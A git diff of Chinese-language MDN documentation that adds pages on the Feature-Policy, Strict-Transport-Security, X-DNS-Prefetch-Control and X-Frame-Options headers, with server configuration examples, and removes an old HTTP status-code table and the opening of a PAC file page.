+ +

*(在所有源地址启用)'none'(在所有源地址禁用)只允许单独使用,而'self''src'可以与多个源地址一起使用。

+ +

所有的特性都有一个如下的默认的allowlist

+ +
    +
  • *: 本特性默认在最上层和包含的内容中(iframes)允许。
  • +
  • 'self': 本特性默认在最上层允许,而包含的内容中(iframes)使用源地址相同设定。也就是说本特性在iframe中不允许跨域访问。
  • +
  • 'none': 本特性默认在最上层和包含的内容中(iframes)都禁止。
  • +
+ +

Specifying your policy

+ +

Feature Policy provides two ways to specify policies to control features:

+ +
    +
  • The {{httpheader('Feature-Policy')}} HTTP header.
  • +
  • The {{htmlattrxref("allow", "iframe")}} attribute on {{htmlelement("iframe")}}s.
  • +
+ +

The primary difference between the HTTP header and the allow attribute is that the allow attribute only controls features within an iframe. The header controls features in the response and any embedded content within the page.

+ +

The Feature-Policy HTTP header

+ +

You can send the Feature-Policy HTTP header with the response of a page. The value of this header is a policy to be enforced by the browser for the given page. It has the following structure.

+ +
Feature-Policy: <feature name> <allowlist of origin(s)>
+ +

For example, to block all content from using the Geolocation API across your site:

+ +
Feature-Policy: geolocation 'none'
+ +

Several features can be controlled at the same time by sending the HTTP header with a semicolon-separated list of policy directives, or by sending a separate header for each policy.

+ +

For example, the following are equivalent:

+ +
Feature-Policy: unsized-media 'none'; geolocation 'self' https://example.com; camera *;
+
+Feature-Policy: unsized-media 'none'
+Feature-Policy: geolocation 'self' https://example.com
+Feature-Policy: camera *;
+
+ +

The iframe allow attribute

+ +

The second way to use Feature Policy is for controlling content within an iframe. Use the allow attribute to specify a policy list for embedded content.

+ +

For example, allow all browsing contexts within this iframe to use fullscreen:

+ +
<iframe src="https://example.com..." allow="fullscreen"></iframe>
+ +

This is equivalent to:

+ +
<iframe src="https://example.com..." allow="fullscreen 'src'"></iframe>
+ +

This example allows <iframe> content on a particular origin to access the user's location:

+ +
<iframe src="https://google-developers.appspot.com/demos/..."
+        allow="geolocation https://google-developers.appspot.com"></iframe>
+
+ +

Similar to the HTTP header, several features can be controlled at the same time by specifying a semicolon-separated list of policy directives.

+ +

For example, this blocks the <iframe> from using the camera and microphone:

+ +
<iframe allow="camera 'none'; microphone 'none'">
+
+ +

Inheritance of policy for embedded content

+ +

Scripts inherit the policy of their browsing context, regardless of their origin. That means that top-level scripts inherit the policy from the main document.

+ +

All iframes inherit the policy of their parent page. If the iframe has an allow attribute, the policies of the parent page and the allow attribute are combined, using the most restrictive subset. For an iframe to have a feature enabled, the origin must be in the allowlist for both the parent page and the allow attribute.

+ +

Disabling a feature in a policy is a one-way toggle. If a feature has been disabled for a child frame by its parent frame, the child cannot re-enable it, and neither can any of the child's descendants.

+ +

Enforcing best practices for good user experiences

+ +

It's difficult to build a website that uses all the latest best practices and provides great performance and user experiences. As the website evolves, it can become even harder to maintain the user experience over time. You can use feature policies to specify the desired best practices, and rely on the browser to enforce the policies to prevent regressions.

+ +

There are several policy-controlled features designed to represent functionality that can negatively impact the user experience. These features include:

+ +
    +
  • Layout-inducing Animations
  • +
  • Unoptimized (poorly compressed) images
  • +
  • Oversized images
  • +
  • Synchronous scripts
  • +
  • Synchronous XMLHttpRequest
  • +
  • Unsized media
  • +
+ +

To avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. That is, the default allowlist is '*' for each feature. Preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features.

+ +

For new content, you can start developing with a policy that disables all the features. This approach ensures that none of the functionality is introduced. When applying a policy to existing content, testing is likely required to verify it continues to work as expected. This is especially important for embedded or third-party content that you do not control.

+ +

To turn on the enforcement of all the best practices, specify the policy as below.

+ +

Send the following the HTTP header:

+ +
Feature-Policy: layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';
+ +

Using the <iframe> allow attribute:

+ +
<iframe src="https://example.com..." allow="layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';"></iframe>
+ +

See also

+ +
    +
  • Feature Policy
  • +
  • {{HTTPHeader("Feature-Policy")}} header
  • +
  • {{HTMLElement('iframe','allow','#Attributes')}} attribute on iframes
  • +
  • {{HTTPHeader("Content-Security-Policy")}} header
  • +
  • {{HTTPHeader("Referrer-Policy")}} header
  • +
diff --git a/files/zh-cn/web/http/headers/strict-transport-security/index.html b/files/zh-cn/web/http/headers/strict-transport-security/index.html new file mode 100644 index 0000000000..d890b429ef --- /dev/null +++ b/files/zh-cn/web/http/headers/strict-transport-security/index.html @@ -0,0 +1,121 @@ +--- +title: HTTP Strict Transport Security +slug: Web/HTTP/HTTP_Strict_Transport_Security +tags: + - HSTS + - HTTP + - HTTPS + - Security + - header +translation_of: Web/HTTP/Headers/Strict-Transport-Security +--- +
 HTTP Strict Transport Security(通常简称为{{Glossary("HSTS")}})是一个安全功能,它告诉浏览器只能通过HTTPS访问当前资源,而不是HTTP
+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

语法

+ +
Strict-Transport-Security: max-age=<expire-time>
+Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
+Strict-Transport-Security: max-age=<expire-time>; preload
+
+ +

指令

+ +
+
max-age=<expire-time>
+
设置在浏览器收到这个请求后的<expire-time>秒的时间内凡是访问这个域名下的请求都使用HTTPS请求。
+
includeSubDomains {{optional_inline}}
+
如果这个可选的参数被指定,那么说明此规则也适用于该网站的所有子域名。
+
preload {{optional_inline}}
+
查看 {{anch("预加载 HSTS")}} 获得详情。不是标准的一部分。
+
+ +

描述

+ +

一个网站接受一个HTTP的请求,然后跳转到HTTPS,用户可能在开始跳转前,通过没有加密的方式和服务器对话,比如,用户输入http://foo.com或者直接foo.com。

+ +

这样存在中间人攻击潜在威胁,跳转过程可能被恶意网站利用来直接接触用户信息,而不是原来的加密信息。

+ +

网站通过HTTP Strict Transport Security通知浏览器,这个网站禁止使用HTTP方式加载,浏览器应该自动把所有尝试使用HTTP的请求自动替换为HTTPS请求。

+ +
+

注意: Strict-Transport-Security 在通过 HTTP 访问时会被浏览器忽略; 因为攻击者可以通过中间人攻击的方式在连接中修改、注入或删除它.  只有在你的网站通过HTTPS访问并且没有证书错误时, 浏览器才认为你的网站支持HTTPS 然后使用 Strict-Transport-Security 的值 .

+
+ +

浏览器如何处理

+ +

你的网站第一次通过HTTPS请求,服务器响应Strict-Transport-Security 头,浏览器记录下这些信息,然后后面尝试访问这个网站的请求都会自动把HTTP替换为HTTPS。

+ +

当HSTS头设置的过期时间到了,后面通过HTTP的访问恢复到正常模式,不会再自动跳转到HTTPS。

+ +

每次浏览器接收到Strict-Transport-Security头,它都会更新这个网站的过期时间,所以网站可以刷新这些信息,防止过期发生。

+ +

Chrome、Firefox等浏览器里,当您尝试访问该域名下的内容时,会产生一个307 Internal Redirect(内部跳转),自动跳转到HTTPS请求。

+ +

示例场景

+ +

你连接到一个免费WiFi接入点,然后开始浏览网站,访问你的网上银行,查看你的支出,并且支付一些订单。很不幸,你接入的WiFi实际上是黑客的笔记本热点,他们拦截了你最初的HTTP请求,然后跳转到一个你银行网站一模一样的钓鱼网站。 现在,你的隐私数据暴露给黑客了。

+ +

Strict Transport Security解决了这个问题;只要你通过HTTPS请求访问银行网站,并且银行网站配置好Strict Transport Security,你的浏览器知道自动使用HTTPS请求,这可以阻止黑客的中间人攻击的把戏。

+ +

预加载 HSTS

+ +

谷歌维护着一个 HSTS 预加载服务。按照如下指示成功提交你的域名后,浏览器将会永不使用非安全的方式连接到你的域名。虽然该服务是由谷歌提供的,但所有浏览器都有使用这份列表的意向(或者已经在用了)。但是,这不是 HSTS 标准的一部分,也不该被当作正式的内容。

+ + + +

示例

+ +

现在和未来的所有子域名会自动使用 HTTPS 连接长达一年。同时阻止了只能通过 HTTP 访问的内容。

+ +
Strict-Transport-Security: max-age=31536000; includeSubDomains
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HSTS')}}{{Spec2('HSTS')}}Initial definition
+ +

浏览器兼容

+ + + +

{{Compat("http.headers.Strict-Transport-Security")}}

+ +

查看更多

+ + diff --git a/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html b/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html new file mode 100644 index 0000000000..313d309ccb --- /dev/null +++ b/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html @@ -0,0 +1,97 @@ +--- +title: X-DNS-Prefetch-Control +slug: Controlling_DNS_prefetching +tags: + - DNS + - DNS prefetch + - HTTP + - 预解析 +translation_of: Web/HTTP/Headers/X-DNS-Prefetch-Control +--- +

{{HTTPSidebar}}

+ +

X-DNS-Prefetch-Control 头控制着浏览器的 DNS 预读取功能。 DNS 预读取是一项使浏览器主动去执行域名解析的功能,其范围包括文档的所有链接,无论是图片的,CSS 的,还是 JavaScript 等其他用户能够点击的 URL。

+ +

因为预读取会在后台执行,所以 {{glossary("DNS")}} 很可能在链接对应的东西出现之前就已经解析完毕。这能够减少用户点击链接时的延迟。

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

语法

+ +
X-DNS-Prefetch-Control: on
+X-DNS-Prefetch-Control: off
+
+ +

参数

+ +
+
on
+
启用 DNS 预解析。在浏览器支持 DNS 预解析的特性时即使不使用该标签浏览器依然会进行预解析。
+
off
+
关闭 DNS 预解析。这个属性在页面上的链接并不是由你控制的或是你根本不想向这些域名引导数据时是非常有用的。
+
+ +

介绍

+ +

DNS 请求需要的带宽非常小,但是延迟却有点高,这一点在手机网络上特别明显。预读取 DNS 能让延迟明显减少一些,例如在用户点击链接时。在某些情况下,延迟能减少一秒钟。 

+ +

在某些浏览器中这个预读取的行为将会与页面实际内容并行发生(而不是串行)。正因如此,某些高延迟的域名的解析过程才不会卡住资源的加载。

+ +

这样可以极大的加速(尤其是移动网络环境下)页面的加载。在某些图片较多的页面中,在发起图片加载请求之前预先把域名解析好将会有至少 5% 的图片加载速度提升。

+ +

在浏览器中设置预读取配置

+ +

一般来说并不需要去管理预读取,但是可能会有用户希望关闭预读取功能。这时只需要将 network.dns.disablePrefetch 选项值设置为 true 就可以了。

+ +

另外,默认情况下,通过 {{glossary("HTTPS")}} 加载的页面上内嵌链接的域名并不会执行预加载。在 Firefox 浏览器中,可以通过 about:config 设置 network.dns.disablePrefetchFromHTTPS 值为 false 来改变这一默认行为。

+ +

示例

+ +

打开和关闭 DNS 预读取

+ +

你可以通过在服务器端发送 X-DNS-Prefetch-Control 报头,或是在文档中使用值为 {{ htmlattrxref("http-equiv") }} 的 {{ HTMLElement("meta") }} 标签:

+ +
<meta http-equiv="x-dns-prefetch-control" content="off">
+
+ +

您可以通过将 content 的参数设置为“on”来改变设置。

+ +

强制查询特定主机名

+ +

你可以通过使用 {{ htmlattrxref("rel","link") }} 属性值为 link type 中的 dns-prefetch 的 {{ HTMLElement("link") }} 标签来对特定域名进行预读取:

+ +
<link rel="dns-prefetch" href="http://www.spreadfirefox.com/">
+
+ +

在这个例子中,Firefox 将预解析域名"www.spreadfirefox.com"。

+ +

而且,{{ HTMLElement("link") }} 元素也可以使用不完整的 URL 的主机名来标记预解析,但这些主机名前必需要有双斜线:

+ +
<link rel="dns-prefetch" href="//www.spreadfirefox.com">
+
+ +

强制对域名进行预读取在一些情况下很有用, 比如, 在网站的主页上,强制在整个网站上频繁引用的域名的预解析,即使它们不在主页本身上使用。即使主页的性能可能不受影响,这将提高整体站点性能。

+ +

浏览器兼容性

+ + + +

{{Compat("http.headers.X-DNS-Prefetch-Control")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/http/headers/x-frame-options/index.html b/files/zh-cn/web/http/headers/x-frame-options/index.html new file mode 100644 index 0000000000..2b6cfcda76 --- /dev/null +++ b/files/zh-cn/web/http/headers/x-frame-options/index.html @@ -0,0 +1,161 @@ +--- +title: X-Frame-Options +slug: Web/HTTP/X-Frame-Options +tags: + - HTTP + - 响应头 + - 响应头部 + - 安全性 +translation_of: Web/HTTP/Headers/X-Frame-Options +--- +
{{HTTPSidebar}}
+ +

The X-Frame-Options HTTP 响应头是用来给浏览器 指示允许一个页面 可否在 {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} 或者 {{HTMLElement("object")}} 中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免 {{interwiki("wikipedia", "clickjacking")}} 攻击。

+ +

The added security is only provided if the user accessing the document is using a browser supporting X-Frame-Options. {{HTTPHeader("Content-Security-Policy")}} HTTP 头中的 frame-ancestors 指令会替代这个非标准的 header。CSP 的 frame-ancestors 会在 {{Gecko("4.0")}} 中支持,但是并不会被所有浏览器支持。然而 X-Frame-Options 是个已广泛支持的非官方标准,可以和 CSP 结合使用。

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

语法

+ +

X-Frame-Options 有三个可能的值:

+ +
X-Frame-Options: deny
+X-Frame-Options: sameorigin
+X-Frame-Options: allow-from https://example.com/
+
+ +

指南

+ +

换一句话说,如果设置为 deny,不光在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为sameorigin,那么页面就可以在同域名页面的 frame 中嵌套。

+ +
+
deny
+
表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
+
sameorigin
+
表示该页面可以在相同域名页面的 frame 中展示。
+
allow-from uri
+
表示该页面可以在指定来源的 frame 中展示。
+
+ +

例子

+ +
+

Note: 设置 meta 标签是无效的!例如 <meta http-equiv="X-Frame-Options" content="deny"> 没有任何效果。不要这样用!只有当像下面示例那样设置 HTTP 头 X-Frame-Options 才会生效。

+
+ +

配置 Apache

+ +

配置 Apache 在所有页面上发送 X-Frame-Options 响应头,需要把下面这行添加到 'site' 的配置中:

+ +
Header always set X-Frame-Options "sameorigin"
+
+ +

要将 Apache 的配置 X-Frame-Options 设置成 deny , 按如下配置去设置你的站点:

+ +
Header set X-Frame-Options "deny"
+
+ +

要将 Apache 的配置 X-Frame-Options 设置成 allow-from,在配置里添加:

+ +
Header set X-Frame-Options "allow-from https://example.com/"
+
+ +

配置 nginx

+ +

配置 nginx 发送 X-Frame-Options 响应头,把下面这行添加到 'http', 'server' 或者 'location' 的配置中:

+ +
add_header X-Frame-Options sameorigin always;
+
+ +

配置 IIS

+ +

配置 IIS 发送 X-Frame-Options 响应头,添加下面的配置到 Web.config 文件中:

+ +
<system.webServer>
+  ...
+
+  <httpProtocol>
+    <customHeaders>
+      <add name="X-Frame-Options" value="sameorigin" />
+    </customHeaders>
+  </httpProtocol>
+
+  ...
+</system.webServer>
+
+ +

配置 HAProxy

+ +

配置 HAProxy 发送 X-Frame-Options 头,添加这些到你的前端、监听 listen,或者后端的配置里面:

+ +
rspadd X-Frame-Options:\ sameorigin
+
+ +

或者,在更加新的版本中:

+ +
http-response set-header X-Frame-Options sameorigin
+
+ +

配置 Express

+ +

要配置 Express 可以发送 X-Frame-Options header,你可以用借助了 frameguard 来设置头部的 helmet。在你的服务器配置里面添加:

+ +
const helmet = require('helmet');
+const app = express();
+app.use(helmet.frameguard({ action: "sameorigin" }));
+
+ +

或者,你也可以直接用 frameguard

+ +
const frameguard = require('frameguard')
+app.use(frameguard({ action: 'sameorigin' }))
+
+ +

结果

+ +

在 Firefox 尝试加载 frame 的内容时,如果 X-Frame-Options 响应头设置为禁止访问了,那么 Firefox 会用 about:blank 展现到 frame 中。也许从某种方面来讲的话,展示为错误消息会更好一点。

+ +

规范

+ + + + + + + + + + + + + + +
规范标题
{{RFC("7034")}}HTTP Header Field X-Frame-Options
+ +

浏览器兼容性

+ + + +

{{Compat("http.headers.X-Frame-Options")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/http/http_response_codes/index.html b/files/zh-cn/web/http/http_response_codes/index.html deleted file mode 100644 index 2c0fce1058..0000000000 --- a/files/zh-cn/web/http/http_response_codes/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: HTTP response codes -slug: Web/HTTP/HTTP_response_codes -translation_of: Web/HTTP/Status -translation_of_original: Web/HTTP/HTTP_response_codes ---- -

HTTP状态码(响应码)用来表明这个HTTP 请求是否已经成功完成.HTTP响应类型一共分五大类:消息响应,成功响应,重定向,客户端错误,服务器端错误.

-

 

-

下表列出了所有HTTP状态码,以及他们各自所代表的含义:

- -
状态码   原因短语 代表含义 HTTP 版本   
消息响应
100          Continue
(继续)
客户端应当继续发送请求.这个临时响应是用来通知客户端它的部分请求已经被服务器接收,且仍未被拒绝.客户端应当继续发送请求的剩余部分,或者如果请求已经完成,忽略这个响应.服务器必须在请求完成后向客户端发送一个最终响应. HTTP/1.1 可用
101 Switching Protocol
(切换协议)
服务器已经理解了客户端的请求,并将通过Upgrade消息头通知客户端采用不同的协议来完成这个请求。在发送完这个响应最后的空行后,服务器将会切换到 在Upgrade消息头中定义的那些协议。: 只有在切换新的协议更有好处的时候才应该采取类似措施。例如,切换到新的HTTP版本比旧版本更有优势,或者切换到一个实时且同步的协议以传送利用此类特 性的资源。 HTTP/1.1 可用
成功响应
200 OK
(成功)
请求成功.成功的意义根据请求所使用的方法不同而不同.
  • GET: 资源已被提取,并作为响应体传回客户端.
  • HEAD: 实体已作为响应头传回客户端
  • POST: 经过服务器处理客户端传来的数据,适合的资源作为响应体传回客户端.
  • TRACE: 服务器收到请求消息作为响应体传回客户端.
PUT, DELETE, 和 OPTIONS 方法永远不会返回 200 状态码.
HTTP/0.9 可用
201 Created
(已创建)
请求成功,而且有一个新的资源已经依据请求的需要而建立,通常这是 PUT 方法得到的响应码. HTTP/0.9 可用
202 Accepted
(已创建)
服务器已接受请求,但尚未处理。正如它可能被拒绝一样,最终该请求可能会也可能不会被执行。在异步操作的场合下,没有比发送这个状态码更方便的做法了。:返回202状态码的响应的目的是允许服务器接受其他过程的请求(例如某个每天只执行一次的基于批处理的操作),而不必让客户端一直保持与服务器的连接直到批处理操作全部完成。在接受请求处理并返回202状态码的响应应当在返回的实体中包含一些指示处理当前状态的信息,以及指向处理状态监视器或状态预测的指针,以便用户能够估计操作是否已经完成。 HTTP/0.9 可用
203 Non-Authoritative Information
(未授权信息)

服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝,如果不是上述情况,使用200状态码才是最合适的.

HTTP/0.9 and 1.1
204 No Content
(无内容)
该响应没有响应内容,只有响应头,响应头也可能是有用的.用户代理可以根据新的响应头来更新对应资源的缓存信息. HTTP/0.9 可用
205 Reset Content
(重置内容)
告诉用户代理去重置发送该请求的窗口的文档视图. HTTP/1.1 可用
206 Partial Content
(部分内容)
当客户端通过使用range头字段进行文件分段下载时使用该状态码 HTTP/1.1 可用
重定向
300 Multiple Choice
(多种选择)
该请求有多种可能的响应,用户代理或者用户必须选择它们其中的一个.服务器没有任何标准可以遵循去代替用户来进行选择. HTTP/1.0 and later
301 Moved Permanently
(永久移动)
该状态码表示所请求的URI资源路径已经改变,新的URL会在响应的Location:头字段里找到. HTTP/0.9 可用
302 Found
(临时移动)
该状态码表示所请求的URI资源路径临时改变,并且还可能继续改变.因此客户端在以后访问时还得继续使用该URI.新的URL会在响应的Location:头字段里找到. HTTP/0.9 可用
303 See Other
(查看其他位置)
服务器发送该响应用来引导客户端使用GET方法访问另外一个URI. HTTP/0.9 and 1.1
304 Not Modified
(未修改)
告诉客户端,所请求的内容距离上次访问并没有变化. 客户端可以直接从浏览器缓存里获取该资源. HTTP/0.9 可用
305 Use Proxy
(使用代理)
所请求的资源必须统过代理才能访问到.由于安全原因,该状态码并未受到广泛支持. HTTP/1.1 可用
306 unused
(未使用)
这个状态码已经不再被使用,当初它被用HTTP 1.1规范旧版本中. HTTP/1.1 可用
307 Temporary Redirect
(临时重定向)

服务器发送该响应用来引导客户端使用相同的方法访问另外一个URI来获取想要获取的资源.新的URL会在响应的Location:头字段里找到.与302状态码有相同的语义,且前后两次访问必须使用相同的方法(GET POST).

HTTP/1.1 可用
308 Permanent Redirect
(永久重定向)

所请求的资源将永久的位于另外一个URI上.新的URL会在响应的Location:头字段里找到.与301状态码有相同的语义,且前后两次访问必须使用相同的方法(GET POST).

注意: 这是个试验性的状态码,这里是规范草案. Firefox14已经实现对该状态码的支持.

HTTPbis
(试验草案)

客户端错误
400 Bad Request
(错误请求)
因发送的请求语法错误,服务器无法正常读取. HTTP/0.9 可用
401 Unauthorized
(未授权)
需要身份验证后才能获取所请求的内容,类似于403错误.不同点是.401错误后,只要正确输入帐号密码,验证即可通过. HTTP/0.9 可用
402 Payment Required
(需要付款)
该状态被保留以供将来使用.创建此代码最初的目的是数字支付系统而用,然而,到现在也没投入使用. HTTP/0.9 and 1.1
403 Forbidden
(禁止访问)
客户端没有权利访问所请求内容,服务器拒绝本次请求. HTTP/0.9 可用
404 Not Found
(未找到)
服务器找不到所请求的资源.由于经常发生此种情况,所以该状态码在上网时是非常常见的. HTTP/0.9 可用
405 Method Not Allowed
(不允许使用该方法)
该请求使用的方法被服务器端禁止使用,RFC2616中规定, GETHEAD 方法不能被禁止. HTTP/1.1 可用
406 Not Acceptable
(无法接受)
在进行服务器驱动内容协商后,没有发现合适的内容传回给客户端. HTTP/1.1 可用
407 Proxy Authentication Required
(要求代理身份验证)

类似于状态码 401,不过需要通过代理才能进行验证.

HTTP/1.1 可用
408 Request Timeout
(请求超时)
客户端没有在服务器预备等待的时间内完成一个请求的发送.这意味着服务器将会切断和客户端的连接. 在其他浏览器中,这种响应更常见一些, 例如Chrome 和 IE9, 目的是为了使用 HTTP 预连机制 加快浏览速度 (查看{{ bug("634278") }}, Firefox在未来版本中会实现这种机制). 同时注意,一些服务器不发送此种响应就直接切断连接. HTTP/1.1 可用
409 Conflict
(冲突)
该请求与服务器的当前状态所冲突. HTTP/1.1 可用
410 Gone
(已失效)
所请求的资源已经被删除. HTTP/1.1 可用
411 Length Required
(需要内容长度头)
因服务器在本次请求中需要 Content-Length 头字段,而客户端没有发送.所以,服务器拒绝了该请求. HTTP/1.1 可用
412 Precondition Failed
(预处理失败)
服务器没能满足客户端在获取资源时在请求头字段中设置的先决条件. HTTP/1.1 可用
413 Request Entity Too Large
(请求实体过长)
请求实体大小超过服务器的设置的最大限制,服务器可能会关闭HTTP链接并返回Retry-After 头字段. HTTP/1.1 可用
414 Request-URI Too Long
(请求网址过长)
客户端请求所包含的URI地址太长,以至于服务器无法处理. HTTP/1.1 可用
415 Unsupported Media Type
(媒体类型不支持)
服务器不支持客户端所请求的媒体类型,因此拒绝该请求. HTTP/1.1 可用
416 Requested Range Not Satisfiable
(请求范围不合要求)
请求中包含的Range头字段无法被满足,通常是因为Range中的数字范围超出所请求资源的大小. HTTP/1.1 可用
417 Expectation Failed
(预期结果失败)
在请求头 Expect 中指定的预期内容无法被服务器满足. HTTP/1.1 可用
服务器端错误
500 Internal Server Error
(内部服务器错误)
服务器遇到未知的无法解决的问题. HTTP/0.9 可用
501 Implemented
(未实现)
服务器不支持该请求中使用的方法,比如POSTPUT.只有GETHEAD 是RFC2616规范中规定服务器必须实现的方法. HTTP/0.9 可用
502 Bad Gateway
(网关错误)
服务器作为网关且从上游服务器获取到了一个无效的HTTP响应. HTTP/0.9 可用
503 Service Unavailable
(服务不可用)
由于临时的服务器维护或者过载,服务器当前无法处理请求.这个状况是临时的,并且将在一段时间以后恢复.如果能够预计延迟时间,那么响应中可以包含一个Retry-After:头用以标明这个延迟时间.如果没有给出这个Retry-After:信息,那么客户端应当以处理500响应的方式处理它.同时,这种情况下,一个友好的用于解释服务器出现问题的页面应当被返回,并且,缓存相关的HTTP头信息也应该包含,因为通常这种错误提示网页不应当被客户端缓存. HTTP/0.9 可用
504 Gateway Timeout 
(网关超时)
服务器作为网关且不能从上游服务器及时的得到响应返回给客户端. HTTP/1.1 可用
505 HTTP Version Not Supported
(HTTP版本不受支持)
服务器不支持客户端发送的HTTP请求中所使用的HTTP协议版本. HTTP/1.1 可用 
-

 

-

{{ languages( { "en": "en/HTTP/HTTP_response_codes"} ) }}

diff --git a/files/zh-cn/web/http/http_strict_transport_security/index.html b/files/zh-cn/web/http/http_strict_transport_security/index.html deleted file mode 100644 index d890b429ef..0000000000 --- a/files/zh-cn/web/http/http_strict_transport_security/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: HTTP Strict Transport Security -slug: Web/HTTP/HTTP_Strict_Transport_Security -tags: - - HSTS - - HTTP - - HTTPS - - Security - - header -translation_of: Web/HTTP/Headers/Strict-Transport-Security ---- -
 HTTP Strict Transport Security(通常简称为{{Glossary("HSTS")}})是一个安全功能,它告诉浏览器只能通过HTTPS访问当前资源,而不是HTTP
- - - - - - - - - - - - -
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
- -

语法

- -
Strict-Transport-Security: max-age=<expire-time>
-Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
-Strict-Transport-Security: max-age=<expire-time>; preload
-
- -

指令

- -
-
max-age=<expire-time>
-
设置在浏览器收到这个请求后的<expire-time>秒的时间内凡是访问这个域名下的请求都使用HTTPS请求。
-
includeSubDomains {{optional_inline}}
-
如果这个可选的参数被指定,那么说明此规则也适用于该网站的所有子域名。
-
preload {{optional_inline}}
-
查看 {{anch("预加载 HSTS")}} 获得详情。不是标准的一部分。
-
- -

描述

- -

一个网站接受一个HTTP的请求,然后跳转到HTTPS,用户可能在开始跳转前,通过没有加密的方式和服务器对话,比如,用户输入http://foo.com或者直接foo.com。

- -

这样存在中间人攻击潜在威胁,跳转过程可能被恶意网站利用来直接接触用户信息,而不是原来的加密信息。

- -

网站通过HTTP Strict Transport Security通知浏览器,这个网站禁止使用HTTP方式加载,浏览器应该自动把所有尝试使用HTTP的请求自动替换为HTTPS请求。

- -
-

注意: Strict-Transport-Security 在通过 HTTP 访问时会被浏览器忽略; 因为攻击者可以通过中间人攻击的方式在连接中修改、注入或删除它.  只有在你的网站通过HTTPS访问并且没有证书错误时, 浏览器才认为你的网站支持HTTPS 然后使用 Strict-Transport-Security 的值 .

-
- -

浏览器如何处理

- -

你的网站第一次通过HTTPS请求,服务器响应Strict-Transport-Security 头,浏览器记录下这些信息,然后后面尝试访问这个网站的请求都会自动把HTTP替换为HTTPS。

- -

当HSTS头设置的过期时间到了,后面通过HTTP的访问恢复到正常模式,不会再自动跳转到HTTPS。

- -

每次浏览器接收到Strict-Transport-Security头,它都会更新这个网站的过期时间,所以网站可以刷新这些信息,防止过期发生。

- -

Chrome、Firefox等浏览器里,当您尝试访问该域名下的内容时,会产生一个307 Internal Redirect(内部跳转),自动跳转到HTTPS请求。

- -

示例场景

- -

你连接到一个免费WiFi接入点,然后开始浏览网站,访问你的网上银行,查看你的支出,并且支付一些订单。很不幸,你接入的WiFi实际上是黑客的笔记本热点,他们拦截了你最初的HTTP请求,然后跳转到一个你银行网站一模一样的钓鱼网站。 现在,你的隐私数据暴露给黑客了。

- -

Strict Transport Security解决了这个问题;只要你通过HTTPS请求访问银行网站,并且银行网站配置好Strict Transport Security,你的浏览器知道自动使用HTTPS请求,这可以阻止黑客的中间人攻击的把戏。

- -

预加载 HSTS

- -

谷歌维护着一个 HSTS 预加载服务。按照如下指示成功提交你的域名后,浏览器将会永不使用非安全的方式连接到你的域名。虽然该服务是由谷歌提供的,但所有浏览器都有使用这份列表的意向(或者已经在用了)。但是,这不是 HSTS 标准的一部分,也不该被当作正式的内容。

- - - -

示例

- -

现在和未来的所有子域名会自动使用 HTTPS 连接长达一年。同时阻止了只能通过 HTTP 访问的内容。

- -
Strict-Transport-Security: max-age=31536000; includeSubDomains
-
- -

规范

- - - - - - - - - - - - - - -
规范状态注释
{{SpecName('HSTS')}}{{Spec2('HSTS')}}Initial definition
- -

浏览器兼容

- - - -

{{Compat("http.headers.Strict-Transport-Security")}}

- -

查看更多

- - diff --git a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_(pac)_file/index.html b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_(pac)_file/index.html deleted file mode 100644 index e64b1758ff..0000000000 --- a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_(pac)_file/index.html +++ /dev/null @@ -1,729 +0,0 @@ ---- -title: 代理自动配置文件(PAC)文件 -slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file -translation_of: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file ---- -
{{HTTPSidebar}}
- -

代理自动配置(PAC)文件是一个 JavaScript 脚本,其核心是一个 JavaScript 函数,用来决定网页浏览请求(HTTP、HTTPS,和 FTP)应当直连目标地址,还是被转发给一个网页代理服务器并通过代理连接。PAC 文件中的核心 JavaScript 函数通常是这样定义的:

- -
function FindProxyForURL(url, host) {
-  // ...
-}
- -

语法

- -
function FindProxyForURL(url, host)
- -

参数

- -
-
url
-
要访问的 URL。URL 中类似 https:// 这样的的路径和查询组件已被去除。在 Chrome 浏览器(版本 52 至 73)中, 你可以通过设置 PacHttpsUrlStrippingEnabledfalse 来禁止这种行为,或者以 --unsafe-pac-url 命令行参数启动(自 Chrome 74 起,仅命令行参数有效,且在 Chrome 75 及之后的版本中无法禁用这种行为;至于 Chrome 81,路径剥离对 HTTP URL 不适用,但有意改变这一行为以适应 HTTPS);在 Firefox 浏览器中,对应的选项是 network.proxy.autoconfig_url.include_path
-
host
-
从 URL 中提取得到的主机名。这只是为了方便;它与 :// 之后到第一个 :/ 之前的字符串相同。端口号不包括在此参数中,必要时可以自行从 URL 中提取。
-
- -

描述

- -

返回一个描述了代理设置的字符串。字符串的格式按照返回值格式进行定义。

- -

返回值格式

- -
